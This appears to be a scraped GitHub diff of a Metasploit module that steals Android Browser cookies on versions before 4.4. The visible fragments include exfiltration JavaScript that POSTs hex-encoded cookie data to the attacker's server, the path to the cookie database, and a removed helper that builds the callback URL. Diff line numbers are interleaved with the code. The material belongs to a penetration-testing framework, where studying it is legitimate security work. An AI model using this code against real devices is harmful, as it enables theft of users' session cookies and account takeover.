1
1
##
2
- # This module requires Metasploit: http//metasploit.com/download
2
+ # This module requires Metasploit: http: //metasploit.com/download
3
3
# Current source: https://github.com/rapid7/metasploit-framework
4
4
##
5
5
@@ -16,7 +16,7 @@ def initialize(info={})
16
16
super ( update_info ( info ,
17
17
'Name' => 'Android Browser "Open in New Tab" Cookie Theft' ,
18
18
'Description' => %q{
19
- In Android (AOSP)'s Browser application and WebView component the
19
+ In Android (AOSP)'s Browser application and WebView component the
20
20
"open in new tab" functionality allows a file URL to be opened. On
21
21
versions of Android before 4.4, the path to the sqlite cookie
22
22
database could be specified. By saving a cookie containing a <script>
@@ -110,7 +110,7 @@ def exfiltration_js
110
110
return (c.length < 2) ? '0'+c : c;
111
111
}).join('');
112
112
var x2 = new XMLHttpRequest();
113
- x2.open('POST', '#{ backend_url } /');
113
+ x2.open('POST', '#{ get_uri } /');
114
114
x2.setRequestHeader('Content-type', 'text/plain');
115
115
x2.send(hex);
116
116
}
@@ -130,13 +130,7 @@ def cookie_path(file='')
130
130
'/data/data/com.android.browser/databases/' + file
131
131
end
132
132
133
- def backend_url
134
- proto = ( datastore [ "SSL" ] ? "https" : "http" )
135
- myhost = ( datastore [ 'SRVHOST' ] == '0.0.0.0' ) ? Rex ::Socket . source_address : datastore [ 'SRVHOST' ]
136
- port_str = ( datastore [ 'SRVPORT' ] . to_i == 80 ) ? '' : ":#{ datastore [ 'SRVPORT' ] } "
137
- "#{ proto } ://#{ myhost } #{ port_str } /#{ datastore [ 'URIPATH' ] . gsub ( /^\/ / , '' ) } "
138
- end
139
-
133
+ # TODO: Make this a proper Rex::Text function
140
134
def hex2bin ( hex )
141
135
hex . chars . each_slice ( 2 ) . map ( &:join ) . map { |c | c . to_i ( 16 ) } . map ( &:chr ) . join
142
136
end
0 commit comments